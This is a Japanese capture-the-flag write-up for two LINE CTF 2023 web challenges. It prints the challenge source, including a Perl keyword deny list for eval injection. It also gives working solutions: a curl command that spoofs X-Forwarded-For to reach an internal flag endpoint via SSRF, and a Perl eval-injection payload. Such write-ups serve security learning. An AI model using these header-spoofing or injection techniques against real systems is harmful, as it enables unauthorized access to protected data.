[LINE CTF 2023] My own writeup
LINE CTF 2023がMarch 25, 2023, 09:00 AM ~ March 26, 2023, 09:00 AM (UTC+9)で開催されました。
[web] Baby Simple GoCurl
package main
import (
"errors"
// "fmt"
"io/ioutil"
"log"
"net/http"
"os"
"strings"
"github.com/gin-gonic/gin"
)
func redirectChecker(req *http.Request, via []*http.Request) error {
reqIp := strings.Split(via[len(via)-1].Host, ":")[0]
if len(via) >= 2 || reqIp != "127.0.0.1" {
return errors.New("Something wrong")
}
return nil
}
func main() {
flag := os.Getenv("FLAG")
r := gin.Default()
r.LoadHTMLGlob("view/*.html")
r.Static("/static", "./static")
r.GET("/", func(c *gin.Context) {
log.Println("[+] ClientIP : " + c.ClientIP())
c.HTML(http.StatusOK, "index.html", gin.H{
"a": c.ClientIP(),
})
})
r.GET("/curl/", func(c *gin.Context) {
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return redirectChecker(req, via)
},
}
reqUrl := strings.ToLower(c.Query("url"))
reqHeaderKey := c.Query("header_key")
reqHeaderValue := c.Query("header_value")
reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
log.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue)
log.Println("[+] ClientIP : " + c.ClientIP())
if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
req, err := http.NewRequest("GET", reqUrl, nil)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
if reqHeaderKey != "" || reqHeaderValue != "" {
req.Header.Set(reqHeaderKey, reqHeaderValue)
}
resp, err := client.Do(req)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
defer resp.Body.Close()
bodyText, err := ioutil.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
statusText := resp.Status
c.JSON(http.StatusOK, gin.H{
"body": string(bodyText),
"status": statusText,
})
})
r.GET("/flag/", func(c *gin.Context) {
reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
log.Println("[+] IP : " + reqIP)
if reqIP == "127.0.0.1" {
c.JSON(http.StatusOK, gin.H{
"message": flag,
})
return
}
c.JSON(http.StatusBadRequest, gin.H{
"message": "You are a Guest, This is only for Host",
})
})
r.Run()
}
/curl
を使用して、HTTPリクエストが送信できるようです。ここで/curl
経由で/flag
を叩くことができれば、reqIP
が127.0.0.1
となってflagが得られそうです。
if reqIP == "127.0.0.1" {
c.JSON(http.StatusOK, gin.H{
"message": flag,
})
return
}
そのためには/curl
の以下の条件式をパスする必要があります。
if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
ここで、c.ClientIP()
が127.0.0.1
であれば条件式をパスできそうです。X-Forwarded-For
ヘッダに127.0.0.1
を設定して、/curl
経由で、/flag
を叩くことでflagが得られます。
$ curl -H "X-Forwarded-For:127.0.0.1" "http://34.146.230.233:11000/curl/?url=http://localhost:8080/flag/"
{"body":"{\"message\":\"= LINECTF{6a22ff56112a69f9ba1bfb4e20da5587}\"}","status":"200 OK"}%
[web] Old Pal
この問題は解けませんでしたが、途中までやったので記録を残しておきます。
#!/usr/bin/perl
use strict;
use warnings;
use CGI;
use URI::Escape;
$SIG{__WARN__} = \&warn;
sub warn {
print("Hacker? :(");
exit(1);
}
my $q = CGI->new;
print "Content-Type: text/html\n\n";
my $pw = uri_unescape(scalar $q->param("password"));
if ($pw eq '') {
print "Hello :)";
exit();
}
if (length($pw) >= 20) {
print "Too long :(";
die();
}
if ($pw =~ /[^0-9a-zA-Z_-]/) {
print "Illegal character :(";
die();
}
if ($pw !~ /[0-9]/ || $pw !~ /[a-zA-Z]/ || $pw !~ /[_-]/) {
print "Weak password :(";
die();
}
if ($pw =~ /[0-9_-][boxe]/i) {
print "Do not punch me :(";
die();
}
if ($pw =~ /AUTOLOAD|BEGIN|CHECK|DESTROY|END|INIT|UNITCHECK|abs|accept|alarm|atan2|bind|binmode|bless|break|caller|chdir|chmod|chomp|chop|chown|chr|chroot|close|closedir|connect|cos|crypt|dbmclose|dbmopen|defined|delete|die|dump|each|endgrent|endhostent|endnetent|endprotoent|endpwent|endservent|eof|eval|exec|exists|exit|fcntl|fileno|flock|fork|format|formline|getc|getgrent|getgrgid|getgrnam|gethostbyaddr|gethostbyname|gethostent|getlogin|getnetbyaddr|getnetbyname|getnetent|getpeername|getpgrp|getppid|getpriority|getprotobyname|getprotobynumber|getprotoent|getpwent|getpwnam|getpwuid|getservbyname|getservbyport|getservent|getsockname|getsockopt|glob|gmtime|goto|grep|hex|index|int|ioctl|join|keys|kill|last|lc|lcfirst|length|link|listen|local|localtime|log|lstat|map|mkdir|msgctl|msgget|msgrcv|msgsnd|my|next|not|oct|open|opendir|ord|our|pack|pipe|pop|pos|print|printf|prototype|push|quotemeta|rand|read|readdir|readline|readlink|readpipe|recv|redo|ref|rename|require|reset|return|reverse|rewinddir|rindex|rmdir|say|scalar|seek|seekdir|select|semctl|semget|semop|send|setgrent|sethostent|setnetent|setpgrp|setpriority|setprotoent|setpwent|setservent|setsockopt|shift|shmctl|shmget|shmread|shmwrite|shutdown|sin|sleep|socket|socketpair|sort|splice|split|sprintf|sqrt|srand|stat|state|study|substr|symlink|syscall|sysopen|sysread|sysseek|system|syswrite|tell|telldir|tie|tied|time|times|truncate|uc|ucfirst|umask|undef|unlink|unpack|unshift|untie|use|utime|values|vec|wait|waitpid|wantarray|warn|write/) {
print "I know eval injection :(";
die();
}
if ($pw =~ /[Mx. squ1ffy]/i) {
print "You may have had one too many Old Pal :(";
die();
}
if (eval("$pw == 20230325")) {
print "Congrats! Flag is LINECTF{redacted}"
} else {
print "wrong password :(";
die();
};
すべての条件式をパスする$pw
を入力とすることで、eval("$pw == 20230325")
をtrueとすることができればflagが得られます。
この問題では、「文字と数値を混じった文字列における演算」がキーとなると考えました。Perlにおいては文字列と数値が厳密に区別されておらず、使用される演算子の種類によって、その演算子に対象となる値を文字列と判別したり数値と判別したりするそうです(参考)。
今回は英数字と-
または_
を用いる必要があるため、$pw
として20230325-a
を考えました(この演算結果は20230325
となります)。しかし、ここではuse strict;
によって、strictモードになっているため、以下のようなエラーが出てしまいます。
Bareword "a" not allowed while "strict subs" in use at (eval 5) line 1.
そのため、strictを無効化する必要があります。そこで$pw
としてno strict;20230325-a
を考えましたが、条件式を全てパスできませんでした。
追記
他の方のwriteupによると、Perlの特殊リテラルである__LINE__
を用いた解法がありました。__LINE__
は現在の行番号を示すそうです(参考)。$pw
として20230326-__LINE__
を与えるとflagが取得できました。
$ curl "http://104.198.120.186:11006/cgi-bin/main.pl?password=20230326-__LINE__"
Congrats! Flag is LINECTF{3e05d493c941cfe0dd81b70dbf2d972b}